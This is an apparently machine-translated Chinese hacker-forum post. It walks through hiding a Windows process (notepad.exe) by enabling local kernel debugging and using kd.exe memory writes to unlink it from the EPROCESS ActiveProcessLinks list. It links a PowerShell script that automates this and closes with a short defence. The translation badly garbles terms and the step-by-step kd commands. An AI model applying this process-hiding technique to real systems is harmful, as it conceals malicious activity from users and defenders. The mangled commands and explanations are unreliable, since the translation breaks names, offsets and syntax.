跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

kd.exe的隐藏进程


RenX6

推荐的帖子

0x00 前言

Pierre-Alexandre Braeken在SecTor2016上发表了精彩的演讲。——通过使用微软签名的二进制文件来攻击微软

他推出了自己的开源工具PowerMemory,通过将powershell与微软签署的程序相结合,可以绕过设备卫士和杀毒软件的拦截。

演讲视频地址:

https://sector . ca/sessions/hack-Microsoft-by-using-Microsoft-signed-binaries/

PowerMemory项目地址:

https://github.com/giMini/PowerMemory/

0x01 简介

PowerMemory中有许多脚本,其中一个有趣的脚本是Hide-Me.ps1,它通过There的方式隐藏了进程。

本文将对脚本进行测试,介绍进程隐藏原理,修改原脚本,分析利用和防御方法。

0x02 相关概念

PCB(process control block):

过程控制块是系统为管理过程而专门设置的数据结构。

PCB的组织:

线性表模式:不管过程的状态如何,所有的PCB都连续地存储在存储器的系统区域中。这种方法适用于系统中进程数量较少的情况。

索引表模式:该模式是线性表模式的改进,系统建立就绪索引表、阻塞索引表等。根据进程的状态。

链表模式:系统会将进程的PCB按其状态进行排队,从而形成就绪队列、阻塞队列、运行队列等。

不同操作系统的PCB结构不同。

Windows下的PCB是EPROCESS结构。

进程链表是一个双向环形链表。

EPROCESS结构:

每个进程都有一个EPROCESS结构,其中保存了进程的各种信息和相关结构的指针。

注:

不同版本的Windows之间的电子流程结构存在差异。

EPROCESS结构位于系统地址空间中,因此访问该结构需要ring0权限。

注:

Windows打开本地内核调试模式后,可以进入ring0,使用内核调试器。

有两个基本的内核状态调试器:

kd.exe

命令行模式

它通常用于调试内核模式应用程序和驱动程序,调试用户模式应用程序,或者监控操作系统本身的行为。

windbg.exe(WinDbg)

界面模式

可以为Windows内核、内核驱动、用户应用提供完整的源代码级调试。

您可以通过kd.exe查看电子流程结构。命令行参数如下:

KD-KL-y ' SRV * c:\ symbols * http://msdl . Microsoft . com/download/symbols '-c ' dt nt!_电子流程'

回音如下:

lkd kd:正在读取初始命令' dt nt!_电子流程;问

0x000 Pcb : _KPROCESS

0x2d8进程锁:_EX_PUSH_LOCK

0x2e 0 RundownProtect:_ EX _ down _ REF

0x2e8唯一进程Id : Ptr64 Void

0x2f 0 ActiveProcessLinks:_ LIST _ ENTRY

0x300标志2 : Uint4B

0x300 JobNotReallyActive:位置0,1位

0x300会计文件夹:位置1,1位

0x300 NewProcessReported:位置2,1位

0x300 ExitProcessReported:位置3,1位

0x300 ReportCommitChanges:位置4,1位

0x300 LastReportMemory:位置5,1位

0x300 ForceWakeCharge:位置6,1位

0x300 CrossSessionCreate:位置7,1位

0x300 NeedsHandleRundown:位置8,1位

0x300 RefTraceEnabled:位置9,1位

0x300禁用的动态代码:位置10,1位

0x300 EmptyJobEvaluated:位置11,1位

0x300默认页面优先级:位置12,3位

0x300 PrimaryTokenFrozen:位置15,1位

0x300处理器验证器目标:位置16,1位

0x 300 StackRandomizationDisabled:位置17,1位

0x300 AffinityPermanent:位置18,1位

0x300 AffinityUpdateEnable:位置19,1位

0x300传播节点:位置20,1位

0x300显式关联:位置21,1位

0x300 ProcessExecutionState:位置22,2位

0x300 DisallowStrippedImages:位置24,1位

0x300 HighEntropyASLREnabled:位置25,1位

0x300扩展点禁用:位置26,1位

0x300强制重定位图像:位置27,1位

0x300 ProcessStateChangeRequest:位置28,2位

0x 300 ProcessStateChangeInProgress:位置30,1位

0x300 DisallowWin32kSystemCalls:位置31,1位

0x304标志:Uint4B

0x304 CreateReported:位置0,1位

0x304节点错误继承:位置1,1位

0x304进程退出:位置2,1位

0x304进程删除:位置3,1位

0x304控制流保护使能:位置4,1位

0x304 VmDeleted:位置5,1位

0x304溢出使能:位置6,1位

0x304溢出:位置7,1位

0x304 FailFastOnCommitFail:位置8,1位

0x304 Wow64VaSpace4Gb:位置9,1位

0x304地址空间初始化:位置10,2位

0x304 SetTimerResolution:位置12,1位

0x304中断终止:位置13,1位

0x304去优先级视图:位置14,1位

0x304写观察:位置15,1位

0x304处理会话:位置16,1位

0x304覆盖地址空间:位置17,1位

0x304具有地址空间:位置18,1位

0x304启动预取:位置19,1位

0x304背景:位置20,1位

0x304 VmTopDown:位置21,1位

0x304 ImageNotifyDone:位置22,1位

0x304 PdeUpdateNeeded:位置23,1位

0x304虚拟化:位置24,1位

0x304 ProcessRundown:位置25,1位

0x304处理插入:位置26,1位

0x304默认优先级:位置27,3位

0x304 ProcessSelfDelete:位置30,1位

0x304 SetTimerResolutionLink:位置31,1位

0x308创建时间:_ LARGE _整数

0x 310进程配额用法:[2]uint 8b

0x 320 ProcessQuotaPeak:[2]uint 8b

0x330 PeakVirtualSize : Uint8B

0x338 VirtualSize : Uint8B

0x 340会话进程链接:_ LIST _ ENTRY

0x350异常端口数据:Ptr64无效

0x350 ExceptionPortValue : Uint8B

0x350异常端口状态:位置0,3位

0x358标记:_EX_FAST_REF

0x360 WorkingSetPage : Uint8B

0x 368 AddressCreationLock:_ EX _ PUSH _ LOCK

0x 370 pagetablecommitymock:_ EX _ PUSH _ LOCK

0x 378旋转进度:ptr 64 _ ETHREAD

0x 380 forkin进程:ptr 64 _ ETHREAD

0x 388 CommitChargeJob:ptr 64 _ EJOB

0x390克隆根:_ AVL RTL _树

0x 398私有页数:uint 8b

0x3a 0锁定页数:uint 8b

0x3a8进程:Ptr64无效

0x3b0作业:Ptr64 _EJOB

0x3b8节对象:Ptr64无效

0x3c 0段基址:ptr 64 Void

0x3c8 Cookie : Uint4B

0x3d 0 WorkingSetWatch:ptr 64 _ page fault _ HISTORY

0x3d 8 win32窗口站:ptr 64 Void

0x3e 0 InheritedFromUniqueProcessId:ptr 64 Void

0x3e8信息:Ptr64无效

0x3f0 OwnerProcessId : Uint8B

0x3f8 Peb : Ptr64 _PEB

0x400会话:Ptr64无效

0x408 AweInfo : Ptr64 Void

0x 410配额块:ptr 64 _ e进程配额块

0x418对象表:Ptr64 _句柄_表

0x420调试端口:Ptr64无效

0x 428 wow 64进程:ptr 64 _ ewow 64进程

0x430设备映射:Ptr64无效

0x438 EtwDataSource : Ptr64 Void

0x440 PageDirectoryPte : Uint8B

0x448图像文件指针:Ptr64 _文件_对象

0x450 ImageFileName : [15] UChar

0x45f优先级类:UChar

0x460安全端口:Ptr64无效

0x 468 SeAuditProcessCreationInfo:_ SE _ AUDIT _ PROCESS _ CREATION _ INFO

0x470作业链接:_列表_条目

0x480最高用户地址:Ptr64无效

0x 488线程列表头:_ LIST _ ENTRY

0x498 ActiveThreads : Uint4B

0x49c图像路径哈希:Uint4B

0x4a 0 DefaultHardErrorProcessing:uint 4b

0x4a 4 LastThreadExitStatus:Int4B

0x4a8预取跟踪:_EX_FAST_REF

0x4b0锁定页面列表:Ptr64无效

0x4b 8 ReadOperationCount:_ LARGE _ INTEGER

0x4c 0 WriteOperationCount:_ LARGE _ INTEGER

0x4c 8其他操作计数:_ LARGE _ INTEGER

0x4d 0 ReadTransferCount:_ LARGE _ INTEGER

0x4d 8 WriteTransferCount:_ LARGE _ INTEGER

0x4e 0其他传输计数:_ LARGE _ INTEGER

0x4e8 CommitChargeLimit : Uint8B

0x4f0 CommitCharge : Uint8B

0x4f8 CommitChargePeak : Uint8B

0x500虚拟机:_MMSUPPORT

0x5f 8 MmProcessLinks:_ LIST _ ENTRY

0x608 ModifiedPageCount : Uint4B

0x60c ExitStatus : Int4B

0x610瓦德鲁特:_ AVL RTL _树

0x618 VadHint : Ptr64 Void

0x620 VadCount : Uint8B

0x628 VadPhysicalPages : Uint8B

0x 630 VadPhysicalPagesLimit:uint 8b

0x 638 AlpcContext:_ ALPC _进程_上下文

0x 658 TimerResolutionLink:_ LIST _ ENTRY

0x 668 TimerResolutionStackRecord:ptr 64 _ PO _ DIAG _堆栈_记录

0x 670请求的时间错误解决方案:uint 4b

0x 674 SmallestTimerResolution:uint 4b

0x678 ExitTime : _LARGE_INTEGER

0x 680反转函数表:ptr 64 _ INVERTED _ FUNCTION _ TABLE

0x 688 InvertedFunctionTableLock:_ EX _ PUSH _ LOCK

0x 690 ActiveThreadsHighWatermark:uint 4b

0x 694 LargePrivateVadCount:uint 4b

0x 698 ThreadListLock:_ EX _ PUSH _ LOCK

0x6a0 WnfContext : Ptr64 Void

0x6a8 Spare0 : Uint8B

0x6b0 SignatureLevel : UChar

0x6b 1 SectionSignatureLevel:UChar

0x6b2保护:_ PS _保护

0x6b3 HangCount : UChar

0x6b4标志3 : Uint4B

0x6b4最小值:位置0,1位

0x6b4 ReplacingPageRoot:位置1,1位

0x6b4 DisableNonSystemFonts:位置2,1位

0x6b4 AuditNonSystemFontLoading:位置3,1位

0x6b4崩溃:位置4,1位

0x6b4 JobVadsAreTracked:位置5,1位

0x6b4 VadTrackingDisabled:位置6,1位

0x6b4辅助处理:位置7,1位

0x6b4子系统进程:位置8,1位

0x6b4间接位置位:位置9,1位

0x6b4 InPrivate:位置10,1位

0x6b4 ProhibitRemoteImageMap:位置11,1位

0x6b4 ProhibitLowILImageMap:位置12,1位

0x6b4签名修改选项:位置13,1位

0x6b8 DeviceAsid : Int4B

0x6c0 SvmData : Ptr64 Void

0x6c 8 SvmProcessLock:_ EX _ PUSH _ LOCK

0x6d0 SvmLock : Uint8B

0x6d 8 SvmProcessDeviceListHead:_ LIST _ ENTRY

0x6e 8 lastfreeinterrupttime:uint 8b

0x6f0磁盘计数器:Ptr64 _进程_磁盘计数器

0x6f8 PicoContext : Ptr64 Void

0x700信任标识:Uint8B

0x708 KeepAliveCounter : Uint4B

0x70c NoWakeKeepAliveCounter:uint 4b

0x710高优先级FaultsAllowed : Uint4B

0x718能量值:Ptr64 _进程_能量值

0x720 VmContext : Ptr64 Void

0x728序列号:Uint8B

0x730创建中断时间:Uint8B

0x 738 createunbiasedinterruptime:uint 8b

0x 740 TotalUnbiasedFrozenTime:uint 8b

0x 748 LastAppStateUpdateTime:uint 8b

0x750 LastAppStateUptime:位置0,61位

0x750 LastAppState:位置61,3位

0x758 SharedCommitCharge : Uint8B

0x 760 shared commitlock:_ EX _ PUSH _ LOCK

0x 768共享提交链接:_ LIST _ ENTRY

0x778 AllowedCpuSets : Uint8B

0x780 DefaultCpuSets : Uint8B

0x 778 AllowedCpuSetsIndirect:ptr 64 uint 8b

0x 780 DefaultCpuSetsIndirect:ptr 64 uint 8b

其中,0x2f 0 ActiveProcessLinks:_ LIST _ ENTRY表示进程活动链表

进程活动链表:

是一个PLIST _入口结构的双向链表,把每个电子流程链接起来

当一个新进程建立的时候,父进程负责完成电子流程块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中

当进程结束的时候,该进程的电子流程结构从活动进程链上摘除

遍历整个链表,就能实现对进程的枚举

双链表的删除操作:

如图

2-1.png

void DDeleteNode(DListNode p)

{//在带头结点的双链表中,删除结点p,设*p为非终端结点

p-prior-next=p-next;// (使p的前一个结点的后驱直接指向原来的p的后驱)

p-next-prior=p-prior;// (使p的后一个结点的前驱直接为原来p的前一个结点)

免费(p);// (释放p的内存)

}

图和说明引用自http://博客。163 .com/海边风_ yr/blog/static/34572620201453061036702/

隐藏进程:

相当于对双向链表ActiveProcessLinks断链

对应双链表的删除需要做如下操作:

p-prior-next=p-next

flink-Blink=眨眼

p-next-prior=p-prior

Blink-Flink=Flink

免费(p)

Blink=dwSelfEPROCESS

Flink=dwSelfEPROCESS

接下来实例介绍如何通过kd.exe隐藏进程,也就是双链表的断链

0x03 通过kd.exe隐藏进程

环境搭建:

开启本地内核调试模式

注:

自从Windows Vista开始,本地内核调试默认被禁用

开启方法:

管理员权限执行:bcdedit -debug on,重启

下载安装Windows操作系统调试工具,找到kd.exe

测试进程:notepad.exe

测试系统:Win10 x64

1、获取notepad.exe的内存起始地址

种类(性质)(善良的简写)命令:

!进程0 0 $进程名

完整命令:

KD-KL-y ' SRV * c:\ symbols * http://msdl。微软。' com/download/symbols '-c '!处理0 0 notepad.exe;问

如图

2-2.png

notepad.exe的内存起始地址$processAddress为ffffe00195236080

2、获取进程notepad.exe的Flink和Blink

种类(性质)(善良的简写)命令:

dt nt!_ e进程活动进程链接图像文件名$进程地址

完整命令:

KD-KL-y ' SRV * c:\ symbols * http://msdl。微软。' c ' dt nt!_ e process ActiveProcessLinks映像文件名ffffe 00195236080问

如图

2-3.png

注:

弗林克指针指向下一个元素,相当于双链表中的下一个

眨眼指针指向前一个元素,相当于双链表中的p-先验

_列表_条目结构如下:

_LIST_ENTRY[Flink-Blink]

前一参数代表弗林克,后一参数代表眨眼

由上图可知:

$Flink:0xffffe001`93e1a370

$Blink:0xffffe001`9604f6f0

3、获取进程notepad.exe在双链表的地址$thisProcessLinks

种类(性质)(善良的简写)命令:

dt nt!_eprocess活动流程链接闪烁图像文件名$处理地址

完整命令:

KD-KL-y ' SRV * c:\ symbols * http://msdl。微软。' c ' dt nt!_eprocess活动流程链接闪烁图像文件名ffffe00195236080问

如图

2-4.png

可知:

$本流程链接:0x ffffe 001 ` 95236370

注:

dt nt!_eprocess活动流程链接闪烁图像文件名相当于进程notepad.exe的前一个进程

0x 008 Blink:0x ffffe 001 ` 9604 f6f 0 _ LIST _ ENTRY[0x ffffe 001 ` 95236370-Blink]

中的0xffffe001`95236370相当于进程notepad.exe在双链表的地址$thisProcessLinks

补充:

0x 000 Flink:0x ffffe 001 ` 93e1a 370 _ LIST _ ENTRY[Flink-Blink]中的眨眼也能代表双链表的地址$thisProcessLinks

简单的理解:

当前进程的眨眼的弗林克等价于当前进程的弗林克的眨眼,也就是当前进程的地址$thisProcessLinks

4、将前一进程指向下一个元素的指针FLINK替换为当前进程的FLINK指针(Flink-Blink=Blink)

即双链表删除操作的第一步:

p-prior-next=p-next

种类(性质)(善良的简写)命令:

f $Blink0x000 L4 ($Flink的第0字节)($Flink的第一字节)($Flink的第2字节)($Flink的第3字节)

注:

0x000代表弗林克

0x008代表眨眼

$Blink0x000代表p-上一个-下一个(0x000为0,可省略)

哌泊噻嗪棕榈酸酯参数指定内存区间的长度为四个DWORD

完整命令:

KD-KL-y ' SRV * c:\ symbols * http://msdl。微软。' c ' f0x ffffe 001 ` 9604 f6f 0 L40x 700x a30xe 10x 93;问

如图

2-5.png

操作成功,实现双链表删除中的p-prior-next=p-next

5、将下一进程指向前一个元素的指针Blink替换为当前进程的BLINK指针

即双链表删除操作的第2步:

p-next-prior=p-prior

种类(性质)(善良的简写)命令:

f $Flink0x008 L4 ($Blink的第0字节)($眨眼的第一字节)($眨眼的第2字节)($眨眼的第3字节)

注:

0x008代表眨眼

$Flink0x008代表p-next-prior

完整命令:

KD-KL-y ' SRV * c:\ symbols * http://msdl。微软。' com/download/symbols '-c ' f0x ffffe 001 ` 93e 1a 370 L40x f 00x F60x 040x 96;问

如图

2-6.png

操作成功,实现双链表删除中的p-next-prior=p-prior

6、进程自身的新Flink指向进程自身的双链表地址$thisProcessLinks

种类(性质)(善良的简写)命令:

f $ this process links0x 000 L4($ this process links的第0字节)($ thisProcessLinks的第一字节)($ thisProcessLinks的第2字节)(thisProcessLinks的第3字节)

注:

0x000代表弗林克

完整命令:

KD-KL-y ' SRV * c:\ symbols * http://msdl。微软。' c '0x ffffe 001 ` 95236370 L40x 700x 630x 230x 95;问

如图

2-7.png

7、进程自身的新Blink指向进程自身的双链表地址$thisProcessLinks

种类(性质)(善良的简写)命令:

f $ this process links0x 008 L4($ this process links的第0字节)($ thisProcessLinks的第一字节)($ thisProcessLinks的第2字节)(thisProcessLinks的第3字节)

注:

0x008代表眨眼

完整命令:

KD-KL-y ' SRV * c:\ symbols * http://msdl。微软。' c '0x ffffe 001 ` 952363700x 008 L40x 700x 630x 230x 95;问

如图

2-8.png

注:

7、8操作必须对应双链表删除操作中的free(p),否则会出现蓝屏。

8、测试

在任务列表和进程资源管理器中,notepad.exe进程都是隐藏的。

0x04 powershell自动实现

以上操作可以通过powershell脚本自动实现,powershell脚本是Hide-Me.ps1的功能

关于Hide-Me.ps1有一点需要注意:

https://github . com/giMini/power memory/blob/master/power process/Hide-me . PS1 # L128

f $BLINK L40x$($FLINK。Substring(17,2))0x$($FLINK。Substring(15,2))0x$($FLINK。Substring(13,2))0x$($FLINK。Substring(11,2))'

这里$BLINK实际上是$BLINK0x000,表示p-prior-next(0x000为0,已省略)

适用环境:

Win7,8,10 64位操作系统

使用前提:

打开本地内核调试模式。

管理员权限执行:bcdedit -debug on

重启后测试

因为PowerMemory做了脚本集成,Hide-Me.ps1需要其他支持文件。

我稍微修改了一下,只提取了隐藏进程的关键代码,最后整合成一个ps脚本,地址如下:

https://github.com/3gstudent/Hide-Process-by-kd.exe

0x05 防御思路

该方法利用的前提是:

本地内核调试模式已经启动,系统已经重启。

也就是说,攻击者已经进入了ring 0层来利用这种方法。

对于普通用户,可以永久关闭本地内核调试模式:

bcdedit-调试关闭

0x06 补充

该脚本尚不支持32位系统。

Windbg可以实现同样的操作。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...